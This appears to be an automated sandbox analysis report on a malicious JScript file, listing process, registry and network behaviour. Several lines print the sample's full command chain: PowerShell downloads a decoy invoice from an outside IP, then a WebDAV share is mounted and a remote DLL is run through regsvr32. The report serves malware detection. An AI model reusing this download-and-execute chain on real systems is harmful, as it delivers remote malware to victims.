Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8393.js.csv");ITextStream.WriteLine(" entry:8290 f:jfkno");ITextStream.WriteLine(" exec:2 f:jfkno");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4012			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5519			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep count: 4012 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep count: 5519 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8000	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 824	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000003.1750234791.000001A50E460000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWsvw
Source: svchost.exe, 00000008.00000002.2993569132.00000268AE42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000006.00000003.1750234791.000001A50E460000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759378448.000001A50E3F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2994961954.00000268B3A59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
